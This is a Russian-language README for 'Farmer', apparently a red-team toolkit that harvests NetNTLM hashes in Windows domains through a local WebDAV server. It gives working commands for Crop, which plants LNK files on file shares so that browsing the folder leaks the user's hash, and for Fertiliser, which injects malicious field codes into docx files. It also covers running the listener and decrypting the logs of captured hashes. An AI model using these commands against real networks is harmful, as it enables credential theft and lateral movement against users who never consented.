mdsecactivebreach/farmerСобирает хэши NetNTLM в доменах Windows через локальный WebDAV-сервер, с помощью отравления LNK-файлов и внедрения кода в поля документов Office для горизонтального перемещения и перехвата учетных данных.
Author: @domchell
Я хотел быть фермером, поэтому начал собирать хэши
Farmer — это проект для сбора хэшей NetNTLM в домене Windows. Farmer достигает этого путём создания локального WebDAV-сервера, который заставляет WebDAV Mini Redirector аутентифицироваться от любых подключающихся клиентов.
Чтобы Farmer был успешным, клиенты ДОЛЖНЫ иметь возможность подключаться к локальному WebDAV-серверу. Возможные препятствия включают сегментацию сети и/или брандмауэр Windows. Обязательно сначала проверьте это (подсказка Seatbelt WindowsFirewall).
Farmer включает подмодуль для инструмента Crop, который можно использовать для создания LNK-файлов, инициирующих WebDAV-подключение при просмотре папки, где хранится LNK, так как он будет пытаться отобразить сохранённую иконку.
Концепция атаки заключается в том, чтобы с помощью Crop отравить нужные файловые ресурсы LNK-файлом, указывающим на WebDAV-сервер Farmer.
Например:
crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest
Когда любой пользователь переходит к \fileserver\Common, проводник попытается получить иконку с WebDAV-сервера Farmer, и тем самым отправит хэш NetNTLM пользователя.
Farmer включает ещё один подмодуль для инструмента Fertiliser, который можно использовать для отравления документов Office (пока только docx) вредоносным кодом поля. Это приводит к тому, что код поля обрабатывается при открытии документа и передаёт хэш на выбранный вами WebDAV-сервер :)
Например:
Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"
Farmer будет прослушивать заданный пользователем порт в течение определённого количества секунд и записывать вывод в файловую систему, если необходимо:
Использование:
farmer.exe <port> [seconds] [output]
Если секунды не указаны или установлены в 0, farmer будет работать бесконечно, например:
farmer.exe 8888 0 c:\windows\temp\test.tmp
Чтобы запустить farmer на одну минуту на порту 8888, выполните следующее:
farmer.exe 8888 60
Если вы хотите записать журнал Farmer в файловую систему, вы можете зашифровать файл журнала с помощью AES, используя ключ, установленный в Config.key, и установив значение encrypt в true (по умолчанию false).
Файл журнала можно расшифровать с помощью инструмента HarvestCrop, например:
harvestcrop.exe c:\windows\temp\test.tmp farmer